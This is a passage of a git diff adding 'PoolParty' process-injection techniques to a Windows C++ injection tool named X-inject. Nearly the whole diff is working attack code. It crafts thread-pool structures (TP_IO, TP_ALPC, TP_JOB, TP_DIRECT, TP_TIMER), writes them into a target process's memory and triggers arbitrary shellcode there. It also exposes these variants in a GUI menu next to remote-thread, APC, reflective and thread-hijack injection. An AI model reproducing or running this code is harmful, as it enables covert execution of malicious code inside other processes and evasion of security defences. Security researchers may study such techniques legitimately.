std::endl; + + w_ZwAssociateWaitCompletionPacket(pTpWait->WaitPkt, *m_p_hIoCompletion, *p_hEvent, pRemoteTpDirect, pRemoteTpWait, 0, 0, nullptr); + std::cout << "Associated event with the IO completion port of the target process worker factory" << std::endl; + + w_SetEvent(*p_hEvent); + std::cout << "Set event to queue a packet to the IO completion port of the target process worker factory " << std::endl; +} + +RemoteTpIoInsertion::RemoteTpIoInsertion(DWORD dwTargetPid, unsigned char* cShellcode, SIZE_T szShellcodeSize) + : AsynchronousWorkItemInsertion{ dwTargetPid, cShellcode, szShellcodeSize } +{ +} + +void RemoteTpIoInsertion::SetupExecution() const +{ + const auto p_hFile = w_CreateFile( + POOL_PARTY_FILE_NAME, + GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, + nullptr, + CREATE_ALWAYS, + FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, + nullptr); + std::cout << "Created pool party file: `%" << g_WideString_Converter.to_bytes(POOL_PARTY_FILE_NAME) << std::endl; + + const auto pTpIo = w_CreateThreadpoolIo(*p_hFile, static_cast(m_ShellcodeAddress), nullptr, nullptr); + std::cout << "Created TP_IO structure associated with the shellcode" << std::endl; + + /* Not sure why this field is not filled by CreateThreadpoolIo, need to analyze */ + pTpIo->CleanupGroupMember.Callback = m_ShellcodeAddress; + + ++pTpIo->PendingIrpCount; + std::cout << "Started async IO operation within the TP_IO" << std::endl; + + const auto pRemoteTpIo = static_cast(w_VirtualAllocEx(*m_p_hTargetPid, sizeof(FULL_TP_IO), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)); + std::cout << "Allocated TP_IO memory in the target process: " << pRemoteTpIo << std::endl; + w_WriteProcessMemory(*m_p_hTargetPid, pRemoteTpIo, pTpIo, sizeof(FULL_TP_IO)); + std::cout << "Written the specially crafted TP_IO structure to the target process" << std::endl; + + IO_STATUS_BLOCK IoStatusBlock{ 0 }; + FILE_COMPLETION_INFORMATION FileIoCopmletionInformation{ 0 }; + FileIoCopmletionInformation.Port = *m_p_hIoCompletion; + FileIoCopmletionInformation.Key = &pRemoteTpIo->Direct; + w_ZwSetInformationFile(*p_hFile, &IoStatusBlock, &FileIoCopmletionInformation, sizeof(FILE_COMPLETION_INFORMATION), FileReplaceCompletionInformation); + std::cout << "Associated file `%s` with the IO completion port of the target process worker facto" << g_WideString_Converter.to_bytes(POOL_PARTY_FILE_NAME) << std::endl; + + const std::string Buffer = POOL_PARTY_POEM; + const auto BufferLength = Buffer.length(); + OVERLAPPED Overlapped{ 0 }; + w_WriteFile(*p_hFile, Buffer.c_str(), BufferLength, nullptr, &Overlapped); + std::cout << "Write to file `%s` to queue a packet to the IO completion port of the target process worker facto" << g_WideString_Converter.to_bytes(POOL_PARTY_FILE_NAME) << std::endl; +} + +RemoteTpAlpcInsertion::RemoteTpAlpcInsertion(DWORD dwTargetPid, unsigned char* cShellcode, SIZE_T szShellcodeSize) + : AsynchronousWorkItemInsertion{ dwTargetPid, cShellcode, szShellcodeSize } +{ +} + +// TODO: Add RAII wrappers here for ALPC funcs +void RemoteTpAlpcInsertion::SetupExecution() const +{ + /* We can not re-set the ALPC object IO completion port, so we create a temporary ALPC object that will only be used to allocate a TP_ALPC structure */ + const auto hTempAlpcConnectionPort = w_NtAlpcCreatePort(nullptr, nullptr); + std::cout << "Created a temporary ALPC port: " << hTempAlpcConnectionPort << std::endl; + + + const auto pTpAlpc = w_TpAllocAlpcCompletion(hTempAlpcConnectionPort, static_cast(m_ShellcodeAddress), nullptr, nullptr); + std::cout << "Created TP_ALPC structure associated with the shellcode" << std::endl; + + UNICODE_STRING usAlpcPortName = INIT_UNICODE_STRING(POOL_PARTY_ALPC_PORT_NAME); + + OBJECT_ATTRIBUTES AlpcObjectAttributes{ 0 }; + AlpcObjectAttributes.Length = sizeof(OBJECT_ATTRIBUTES); + AlpcObjectAttributes.ObjectName = &usAlpcPortName; + + ALPC_PORT_ATTRIBUTES AlpcPortAttributes{ 0 }; + AlpcPortAttributes.Flags = 0x20000; + AlpcPortAttributes.MaxMessageLength = 328; + + const auto hAlpcConnectionPort = w_NtAlpcCreatePort(&AlpcObjectAttributes, &AlpcPortAttributes); + + const auto pRemoteTpAlpc = static_cast(w_VirtualAllocEx(*m_p_hTargetPid, sizeof(FULL_TP_ALPC), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)); + std::cout << "Allocated TP_ALPC memory in the target process: " << pRemoteTpAlpc << std::endl; + w_WriteProcessMemory(*m_p_hTargetPid, pRemoteTpAlpc, pTpAlpc, sizeof(FULL_TP_ALPC)); + std::cout << "Written the specially crafted TP_ALPC structure to the target process" << std::endl; + + ALPC_PORT_ASSOCIATE_COMPLETION_PORT AlpcPortAssociateCopmletionPort{ 0 }; + AlpcPortAssociateCopmletionPort.CompletionKey = pRemoteTpAlpc; + AlpcPortAssociateCopmletionPort.CompletionPort = *m_p_hIoCompletion; + w_NtAlpcSetInformation(hAlpcConnectionPort, AlpcAssociateCompletionPortInformation, &AlpcPortAssociateCopmletionPort, sizeof(ALPC_PORT_ASSOCIATE_COMPLETION_PORT)); + std::cout << "Associated ALPC port `%s` with the IO completion port of the target process worker facto" << g_WideString_Converter.to_bytes(POOL_PARTY_ALPC_PORT_NAME) << std::endl; + + OBJECT_ATTRIBUTES AlpcClientObjectAttributes{ 0 }; + AlpcClientObjectAttributes.Length = sizeof(OBJECT_ATTRIBUTES); + + const std::string Buffer = POOL_PARTY_POEM; + const auto BufferLength = Buffer.length(); + + ALPC_MESSAGE ClientAlpcPortMessage{ 0 }; + ClientAlpcPortMessage.PortHeader.u1.s1.DataLength = BufferLength; + ClientAlpcPortMessage.PortHeader.u1.s1.TotalLength = sizeof(PORT_MESSAGE) + BufferLength; + std::copy(Buffer.begin(), Buffer.end(), ClientAlpcPortMessage.PortMessage); + auto szClientAlpcPortMessage = sizeof(ClientAlpcPortMessage); + + /* NtAlpcConnectPort would block forever if not used with timeout, we set timeout to 1 second */ + LARGE_INTEGER liTimeout{ 0 }; + liTimeout.QuadPart = -10000000; + + w_NtAlpcConnectPort( + &usAlpcPortName, + &AlpcClientObjectAttributes, + &AlpcPortAttributes, + 0x20000, + nullptr, + (PPORT_MESSAGE)&ClientAlpcPortMessage, + &szClientAlpcPortMessage, + nullptr, + nullptr, + &liTimeout); + std::cout << "Connected to ALPC port `%s` to queue a packet to the IO completion port of the target process worker facto" << g_WideString_Converter.to_bytes(POOL_PARTY_ALPC_PORT_NAME) << std::endl; +} + +RemoteTpJobInsertion::RemoteTpJobInsertion(DWORD dwTargetPid, unsigned char* cShellcode, SIZE_T szShellcodeSize) + : AsynchronousWorkItemInsertion{ dwTargetPid, cShellcode, szShellcodeSize } +{ +} + +void RemoteTpJobInsertion::SetupExecution() const +{ + const auto p_hJob = w_CreateJobObject(nullptr, const_cast(POOL_PARTY_JOB_NAME)); + std::cout << "Created job object with name `%" << g_WideString_Converter.to_bytes(POOL_PARTY_JOB_NAME) << std::endl; + + const auto pTpJob = w_TpAllocJobNotification(*p_hJob, m_ShellcodeAddress, nullptr, nullptr); + std::cout << "Created TP_JOB structure associated with the shellcode" << std::endl; + + const auto RemoteTpJobAddress = static_cast(w_VirtualAllocEx(*m_p_hTargetPid, sizeof(FULL_TP_JOB), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)); + std::cout << "Allocated TP_JOB memory in the target process: " << RemoteTpJobAddress << std::endl; + w_WriteProcessMemory(*m_p_hTargetPid, RemoteTpJobAddress, pTpJob, sizeof(FULL_TP_JOB)); + std::cout << "Written the specially crafted TP_JOB structure to the target process" << std::endl; + + /* SetInformationJobObject does not let directly re-setting object's completion info, but it lets zeroing it out, so we zero it out and then re-set it */ + JOBOBJECT_ASSOCIATE_COMPLETION_PORT JobAssociateCopmletionPort{ 0 }; + w_SetInformationJobObject(*p_hJob, JobObjectAssociateCompletionPortInformation, &JobAssociateCopmletionPort, sizeof(JOBOBJECT_ASSOCIATE_COMPLETION_PORT)); + std::cout << "Zeroed out job object `%s` IO completion po" << g_WideString_Converter.to_bytes(POOL_PARTY_JOB_NAME) << std::endl; + + JobAssociateCopmletionPort.CompletionKey = RemoteTpJobAddress; + JobAssociateCopmletionPort.CompletionPort = *m_p_hIoCompletion; + w_SetInformationJobObject(*p_hJob, JobObjectAssociateCompletionPortInformation, &JobAssociateCopmletionPort, sizeof(JOBOBJECT_ASSOCIATE_COMPLETION_PORT)); + std::cout << "Associated job object `%s` with the IO completion port of the target process worker facto" << g_WideString_Converter.to_bytes(POOL_PARTY_JOB_NAME) << std::endl; + + w_AssignProcessToJobObject(*p_hJob, GetCurrentProcess()); + std::cout << "Assigned current process to job object `%s` to queue a packet to the IO completion port of the target process worker facto" << g_WideString_Converter.to_bytes(POOL_PARTY_JOB_NAME) << std::endl; +} + +RemoteTpDirectInsertion::RemoteTpDirectInsertion(DWORD dwTargetPid, unsigned char* cShellcode, SIZE_T szShellcodeSize) + : AsynchronousWorkItemInsertion{ dwTargetPid, cShellcode, szShellcodeSize } +{ +} + +void RemoteTpDirectInsertion::SetupExecution() const +{ + TP_DIRECT Direct{ 0 }; + Direct.Callback = m_ShellcodeAddress; + std::cout << "Crafted TP_DIRECT structure associated with the shellcode" << std::endl; + + const auto RemoteDirectAddress = static_cast(w_VirtualAllocEx(*m_p_hTargetPid, sizeof(TP_DIRECT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)); + std::cout << "Allocated TP_DIRECT memory in the target process: " << RemoteDirectAddress << std::endl; + w_WriteProcessMemory(*m_p_hTargetPid, RemoteDirectAddress, &Direct, sizeof(TP_DIRECT)); + std::cout << "Written the TP_DIRECT structure to the target process" << std::endl; + + w_ZwSetIoCompletion(*m_p_hIoCompletion, RemoteDirectAddress, 0, 0, 0); + std::cout << "Queued a packet to the IO completion port of the target process worker factory" << std::endl; +} + +RemoteTpTimerInsertion::RemoteTpTimerInsertion(DWORD dwTargetPid, unsigned char* cShellcode, SIZE_T szShellcodeSize) + : PoolParty{ dwTargetPid, cShellcode, szShellcodeSize } +{ +} + +void RemoteTpTimerInsertion::HijackHandles() +{ + m_p_hWorkerFactory = this->GetTargetThreadPoolWorkerFactoryHandle(); + m_p_hTimer = this->GetTargetThreadPoolTimerHandle(); +} + +void RemoteTpTimerInsertion::SetupExecution() const +{ + auto WorkerFactoryInformation = this->GetWorkerFactoryBasicInformation(*m_p_hWorkerFactory); + + const auto pTpTimer = w_CreateThreadpoolTimer(static_cast(m_ShellcodeAddress), nullptr, nullptr); + std::cout << "Created TP_TIMER structure associated with the shellcode" << std::endl; + + /* Some changes in the TpTimer requires to know the remote TpTimer address, so first allocate, then perform changes, then write */ + const auto RemoteTpTimerAddress = static_cast(w_VirtualAllocEx(*m_p_hTargetPid, sizeof(FULL_TP_TIMER), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)); + std::cout << "Allocated TP_TIMER memory in the target process: " << RemoteTpTimerAddress << std::endl; + + const auto Timeout = -10000000; + pTpTimer->Work.CleanupGroupMember.Pool = static_cast(WorkerFactoryInformation.StartParameter); + pTpTimer->DueTime = Timeout; + pTpTimer->WindowStartLinks.Key = Timeout; + pTpTimer->WindowEndLinks.Key = Timeout; + pTpTimer->WindowStartLinks.Children.Flink = &RemoteTpTimerAddress->WindowStartLinks.Children; + pTpTimer->WindowStartLinks.Children.Blink = &RemoteTpTimerAddress->WindowStartLinks.Children; + pTpTimer->WindowEndLinks.Children.Flink = &RemoteTpTimerAddress->WindowEndLinks.Children; + pTpTimer->WindowEndLinks.Children.Blink = &RemoteTpTimerAddress->WindowEndLinks.Children; + + w_WriteProcessMemory(*m_p_hTargetPid, RemoteTpTimerAddress, pTpTimer, sizeof(FULL_TP_TIMER)); + std::cout << "Written the specially crafted TP_TIMER structure to the target process" << std::endl; + + auto TpTimerWindowStartLinks = &RemoteTpTimerAddress->WindowStartLinks; + w_WriteProcessMemory(*m_p_hTargetPid, + &pTpTimer->Work.CleanupGroupMember.Pool->TimerQueue.AbsoluteQueue.WindowStart.Root, + reinterpret_cast(&TpTimerWindowStartLinks), + sizeof(TpTimerWindowStartLinks)); + + auto TpTimerWindowEndLinks = &RemoteTpTimerAddress->WindowEndLinks; + w_WriteProcessMemory(*m_p_hTargetPid, + &pTpTimer->Work.CleanupGroupMember.Pool->TimerQueue.AbsoluteQueue.WindowEnd.Root, + reinterpret_cast(&TpTimerWindowEndLinks), + sizeof(TpTimerWindowEndLinks)); + std::cout << "Modified the target process's TP_POOL tiemr queue WindowsStart and WindowsEnd to point to the specially crafted TP_TIMER" << std::endl; + + LARGE_INTEGER ulDueTime{ 0 }; + ulDueTime.QuadPart = Timeout; + T2_SET_PARAMETERS Parameters{ 0 }; + w_NtSetTimer2(*m_p_hTimer, &ulDueTime, 0, &Parameters); + std::cout << "Set the timer queue to expire to trigger the dequeueing TppTimerQueueExpiration" << std::endl; +} + +std::unique_ptr PoolPartyFactory(int VariantId, int TargetPid, unsigned char* shellcode, DWORD shellcodeSize) +{ + switch (VariantId) + { + case 0: + return std::make_unique(TargetPid, shellcode, shellcodeSize); + case 1: + return std::make_unique(TargetPid, shellcode, shellcodeSize); + case 2: + return std::make_unique(TargetPid, shellcode, shellcodeSize); + case 3: + return std::make_unique(TargetPid, shellcode, shellcodeSize); + case 4: + return std::make_unique(TargetPid, shellcode, shellcodeSize); + case 5: + return std::make_unique(TargetPid, shellcode, shellcodeSize); + case 6: + return std::make_unique(TargetPid, shellcode, shellcodeSize); + case 7: + return std::make_unique(TargetPid, shellcode, shellcodeSize); + default: + throw std::runtime_error("Invalid variant ID"); + } +} \ No newline at end of file diff --git a/src/app/poolparty/ThreadPool.cpp b/src/app/poolparty/ThreadPool.cpp new file mode 100644 index 0000000..9568587 --- /dev/null +++ b/src/app/poolparty/ThreadPool.cpp @@ -0,0 +1,61 @@ +#include "include/app/poolparty/ThreadPool.hpp" + +// TODO: Use helper error handlers + +PFULL_TP_WORK w_CreateThreadpoolWork(PTP_WORK_CALLBACK pWorkCallback, PVOID pWorkContext, PTP_CALLBACK_ENVIRON pCallbackEnviron) { + const auto pTpWork = (PFULL_TP_WORK)CreateThreadpoolWork(pWorkCallback, pWorkContext, pCallbackEnviron); + if (NULL == pTpWork) { + throw std::runtime_error(GetLastErrorString("CreateThreadpoolWork", GetLastError())); + } + + return pTpWork; +} + +PFULL_TP_WAIT w_CreateThreadpoolWait(PTP_WAIT_CALLBACK pWaitCallback, PVOID pWaitContext, PTP_CALLBACK_ENVIRON pCallbackEnviron) { + const auto pTpWait = (PFULL_TP_WAIT)CreateThreadpoolWait(pWaitCallback, pWaitCallback, pCallbackEnviron); + if (NULL == pTpWait) { + throw std::runtime_error(GetLastErrorString("CreateThreadpoolWait", GetLastError())); + } + return pTpWait; +} + +PFULL_TP_IO w_CreateThreadpoolIo(HANDLE hFile, PTP_WIN32_IO_CALLBACK pCallback, PVOID pContext, PTP_CALLBACK_ENVIRON pCallbackEnviron) { + const auto pTpIo = (PFULL_TP_IO)CreateThreadpoolIo(hFile, pCallback, pContext, pCallbackEnviron); + if (NULL == pTpIo) { + throw std::runtime_error(GetLastErrorString("CreateThreadpoolIo", GetLastError())); + } + return pTpIo; +} + +PFULL_TP_ALPC w_TpAllocAlpcCompletion(HANDLE hAlpc, PTP_ALPC_CALLBACK pCallback, PVOID pContext, PTP_CALLBACK_ENVIRON pCallbackEnviron) +{ + PFULL_TP_ALPC pTpAlpc = { 0 }; + const auto Ntstatus = TpAllocAlpcCompletion(&pTpAlpc, hAlpc, pCallback, pContext, pCallbackEnviron); + if (!NT_SUCCESS(Ntstatus)) + { + throw std::runtime_error(GetLastErrorString("TpAllocAlpcCompletion", RtlNtStatusToDosError(Ntstatus))); + } + + return pTpAlpc; +} + +PFULL_TP_JOB w_TpAllocJobNotification(HANDLE hJob, PVOID pCallback, PVOID pContext, PTP_CALLBACK_ENVIRON pCallbackEnviron) +{ + PFULL_TP_JOB pTpJob = { 0 }; + const auto Ntstatus = TpAllocJobNotification(&pTpJob, hJob, pCallback, pContext, pCallbackEnviron); + if (!NT_SUCCESS(Ntstatus)) + { + throw std::runtime_error(GetLastErrorString("TpAllocJobNotification", RtlNtStatusToDosError(Ntstatus))); + } + + return pTpJob; +} + +PFULL_TP_TIMER w_CreateThreadpoolTimer(PTP_TIMER_CALLBACK pTimerCallback, PVOID pTimerContext, PTP_CALLBACK_ENVIRON pCallbackEnviron) { + const auto pTpTimer = (PFULL_TP_TIMER)CreateThreadpoolTimer(pTimerCallback, pTimerContext, pCallbackEnviron); + if (NULL == pTpTimer) { + throw std::runtime_error(GetLastErrorString("CreateThreadpoolTimer", GetLastError())); + } + + return pTpTimer; +} diff --git a/src/app/poolparty/WinApi.cpp b/src/app/poolparty/WinApi.cpp new file mode 100644 index 0000000..cd92ac7 --- /dev/null +++ b/src/app/poolparty/WinApi.cpp @@ -0,0 +1,174 @@ +#include "include/app/poolparty/WinApi.hpp" + +std::shared_ptr w_OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId) +{ + const auto hTargetPid = RAISE_IF_HANDLE_INVALID( + "OpenProcess", + OpenProcess( + dwDesiredAccess, + bInheritHandle, + dwProcessId) + ); + + return std::shared_ptr(new HANDLE(hTargetPid), [](HANDLE* p_handle) {CloseHandle(*p_handle); }); +} + +std::shared_ptr w_DuplicateHandle( + HANDLE hSourceProcessHandle, + HANDLE hSourceHandle, + HANDLE hTargetProcessHandle, + DWORD dwDesiredAccess, + BOOL bInheritHandle, + DWORD dwOptions) +{ + HANDLE hTargetHandle; + RAISE_IF_FALSE( + "DuplicateHandle", + DuplicateHandle( + hSourceProcessHandle, + hSourceHandle, + hTargetProcessHandle, + &hTargetHandle, + dwDesiredAccess, + bInheritHandle, + dwOptions) + ); + + return std::shared_ptr(new HANDLE(hTargetHandle), [](HANDLE* p_handle) {CloseHandle(*p_handle); }); +} + +std::shared_ptr w_CreateEvent(LPSECURITY_ATTRIBUTES lpEventAttributes, BOOL bManualReset, BOOL bInitalState, LPWSTR lpName) +{ + const auto hEvent = RAISE_IF_HANDLE_INVALID( + "CreateEvent", + CreateEvent( + lpEventAttributes, + bManualReset, + bInitalState, + lpName) + ); + + if (GetLastError() == ERROR_ALREADY_EXISTS) + { + std::printf("WARNING: The event `%S` already exists\n", lpName); + } + + return std::shared_ptr(new HANDLE(hEvent), [](HANDLE* p_handle) {CloseHandle(*p_handle);}); +} + +std::shared_ptr w_CreateFile( + LPCWSTR lpFileName, + DWORD dwDesiredAccess, + DWORD dwShareMode, + LPSECURITY_ATTRIBUTES lpSecurityAttributes, + DWORD dwCreationDisposition, + DWORD dwFlagsAndAttributes, + HANDLE hTemplateFile +) +{ + const auto hFile = RAISE_IF_HANDLE_INVALID( + "CreateFile", + CreateFile( + lpFileName, + dwDesiredAccess, + dwShareMode, + lpSecurityAttributes, + dwCreationDisposition, + dwFlagsAndAttributes, + hTemplateFile) + ); + + return std::shared_ptr(new HANDLE(hFile), [](HANDLE* p_handle) {CloseHandle(*p_handle); }); +} + +void w_WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD dwNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped) +{ + if (!WriteFile(hFile, lpBuffer, dwNumberOfBytesToWrite, lpNumberOfBytesWritten, lpOverlapped)) + { + + /* file flag overlapped wont return true, yet the operation wont fail */ + if (lpOverlapped) + { + if (GetLastError() == ERROR_IO_PENDING) + { + return; + } + } + throw std::runtime_error(GetLastErrorString("WriteFile", GetLastError())); + } + +} + +std::shared_ptr w_CreateJobObject(LPSECURITY_ATTRIBUTES lpJobAttributes, LPWSTR lpName) +{ + const auto hJob = RAISE_IF_HANDLE_INVALID("CreateJobObject", + CreateJobObject( + lpJobAttributes, + lpName) + ); + + if (GetLastError() == ERROR_ALREADY_EXISTS) + { + std::printf("WARNING: The job `%S` already exists\n", lpName); + } + + return std::shared_ptr(new HANDLE(hJob), [](HANDLE* p_handle) {CloseHandle(*p_handle); }); +} + +void w_SetInformationJobObject(HANDLE hJob, JOBOBJECTINFOCLASS JobObjectInformationClass, LPVOID lpJobObjectInformation, DWORD cbJobObjectInformationLength) +{ + RAISE_IF_FALSE( + "SetInformationJobObject", + SetInformationJobObject( + hJob, + JobObjectInformationClass, + lpJobObjectInformation, + cbJobObjectInformationLength) + ); + +} + +void w_AssignProcessToJobObject(HANDLE hJob, HANDLE hProcess) +{ + RAISE_IF_FALSE( + "AssignProcessToJobObject", + AssignProcessToJobObject( + hJob, + hProcess) + ); +} + +// TODO: Figure out including this in the error handlers +LPVOID w_VirtualAllocEx(HANDLE hTargetPid, SIZE_T szSizeOfChunk, DWORD dwAllocationType, DWORD dwProtect) +{ + const auto AllocatedMemory = VirtualAllocEx(hTargetPid, nullptr, szSizeOfChunk, dwAllocationType, dwProtect); + if (AllocatedMemory == NULL) + { + throw std::runtime_error(GetLastErrorString("VirtualAllocEx", GetLastError())); + } + return AllocatedMemory; +} + +// TODO: Add check for lpNumberOfBytesWritten +void w_WriteProcessMemory(HANDLE hTargetPid, LPVOID AllocatedMemory, LPVOID pBuffer, SIZE_T szSizeOfBuffer) +{ + RAISE_IF_FALSE( + "WriteProcessMemory", + WriteProcessMemory( + hTargetPid, + AllocatedMemory, + pBuffer, + szSizeOfBuffer, + nullptr) + ); +} + +void w_SetEvent(HANDLE hEvent) +{ + RAISE_IF_FALSE( + "SetEvent", + SetEvent( + hEvent + ) + ); +} diff --git a/src/app/poolparty/WorkerFactory.cpp b/src/app/poolparty/WorkerFactory.cpp new file mode 100644 index 0000000..1dadc1f --- /dev/null +++ b/src/app/poolparty/WorkerFactory.cpp @@ -0,0 +1,37 @@ +#include "include/app/poolparty/WorkerFactory.hpp" + +void w_NtQueryInformationWorkerFactory( + HANDLE hWorkerFactory, + QUERY_WORKERFACTORYINFOCLASS WorkerFactoryInformationClass, + PVOID WorkerFactoryInformation, + ULONG WorkerFactoryInformationLength, + PULONG ReturnLength +) +{ + NT_SUCCESS_OR_RAISE( + "NtQueryInformationWorkerFactory", + NtQueryInformationWorkerFactory( + hWorkerFactory, + WorkerFactoryInformationClass, + WorkerFactoryInformation, + WorkerFactoryInformationLength, + ReturnLength) + ); +} + +void w_NtSetInformationWorkerFactory( + HANDLE hWorkerFactory, + SET_WORKERFACTORYINFOCLASS WorkerFactoryInformationClass, + PVOID WorkerFactoryInformation, + ULONG WorkerFactoryInformationLength +) +{ + NT_SUCCESS_OR_RAISE( + "NtSetInformationWorkerFactory", + NtSetInformationWorkerFactory( + hWorkerFactory, + WorkerFactoryInformationClass, + WorkerFactoryInformation, + WorkerFactoryInformationLength) + ); +} \ No newline at end of file diff --git a/src/main.cpp b/src/main.cpp index a06fc5a..de6d462 100644 --- a/src/main.cpp +++ b/src/main.cpp @@ -1,4 +1,4 @@ -#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"") +// #pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"") // application for DirectX 11 #include @@ -17,6 +17,8 @@ #include "include/app/config.hpp" #include "include/utils/error.hpp" +#include "include/app/poolparty/PoolParty.hpp" + #define IDI_MAIN_ICON 101 using namespace XInject::config; @@ -40,6 +42,10 @@ LRESULT WINAPI WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam); // Main code int main(int argc, char* argv[]) { + // const auto inject = PoolPartyFactory(0, 41636, XInject::Injector::g_Shellcode, XInject::Injector::g_szShellcodeSize); + // inject->Inject(); + // return 0; + // w_RtlAdjustPrivilege(SeDebugPrivilege, TRUE, FALSE); if (argc >= 2) { std::vector words = {}; diff --git a/src/window/MainWindow.cpp b/src/window/MainWindow.cpp index 4e44315..c54703a 100644 --- a/src/window/MainWindow.cpp +++ b/src/window/MainWindow.cpp @@ -15,44 +15,68 @@ namespace XInject ImGuiIO& io = ImGui::GetIO(); - if (MainWindow::mainwndOpen) { //主窗口没有退出 - ImGui::Begin("X-inject", &MainWindow::mainwndOpen); - ImGui::Text("Method "); + if (mainwndOpen) { //主窗口没有退出 + ImGui::Begin("X-inject", &mainwndOpen); + ImGui::Text("Method "); ImGui::SameLine(); - if (ImGui::Combo("##method", &MainWindow::method, "Remote Thread\0APC Queue\0Reflective\0Context(thread hijack)\0", 4)) + if (ImGui::Combo("##method", &method, \ + "Remote Thread\0" + "APC Queue\0" + "Reflective\0" + "Context(thread hijack)\0" + "Poolparty\0", 5)) type = 0; + if (method == 4) { + ImGui::Text("PoolParty"); + ImGui::SameLine(); + ImGui::Combo("##poolparty_type", &poolpartyMethod, \ + "WorkerFactoryStartRoutineOverwrite\0" + "RemoteTpWorkInsertion\0" + "RemoteTpWaitInsertion\0" + "RemoteTpIoInsertion\0" + "RemoteTpAlpcInsertion\0" + "RemoteTpJobInsertion\0" + "RemoteTpDirectInsertion\0" + "RemoteTpTimerInsertion\0", 5); + } // 如果有人开始选择方法 // 0. remote thread inject // 1. apc inject // 2. reflect inject // 3. context inject (thread hijack) - ImGui::Text("Type "); + ImGui::Text("Type "); ImGui::SameLine(); - switch (MainWindow::method) + switch (method) { case 0: // remote thread injection case 1: // apc inject 只能注入dll文件和shellcode { - ImGui::Combo("##type", &MainWindow::type, "DLL file\0shellcode\0shellcode file\0", 3); + ImGui::Combo("##type", &type, "DLL file\0shellcode\0shellcode file\0", 3); break; } case 2: // 反射式注入不能注入shellcode { - ImGui::Combo("##type", &MainWindow::type, "DLL file\0url\0", 2); + ImGui::Combo("##type", &type, "DLL file\0url\0", 2); break; } case 3: // 线程劫持只能注入shellcode { - ImGui::Combo("##type", &MainWindow::type, "shellcode\0shellcode file\0", 2); + ImGui::Combo("##type", &type, "shellcode\0shellcode file\0", 2); + break; + } + case 4: + { + // ImGui::Combo("##type", &type, "DLL file\0url\0shellcode\0shellcode file\0", 4); + ImGui::Combo("##type", &type, "shellcode\0shellcode file\0", 2); break; } default: - ImGui::Combo("##type", &MainWindow::type, "\0", 0); + ImGui::Combo("##type", &type, "\0", 0); break; } - ImGui::Text("Process"); + ImGui::Text("Process "); ImGui::SameLine(); // 假设你的状态变量 @@ -102,9 +126,9 @@ namespace XInject // return true; } - ImGui::Text("Args "); + ImGui::Text("Args "); ImGui::SameLine(); - ImGui::InputText("##arg", MainWindow::args, constant::maxStrSize); + ImGui::InputText("##arg", args, constant::maxStrSize); ImGui::SameLine(); chooseFile = ImGui::Button("file"); if (chooseFile) @@ -123,7 +147,6 @@ namespace XInject if (ImGui::Button("Inject")) // 点击注入 { MainWindow::doInject(); - MainWindow::debugWnd = !MainWindow::debugWnd; } ImGui::End(); @@ -150,6 +173,10 @@ namespace XInject case 3: Injector::contextInject(chosenPid, type, args); break; + case 4: { + Injector::poolPartyInject(chosenPid, type, poolpartyMethod, args); + break; + } default: break;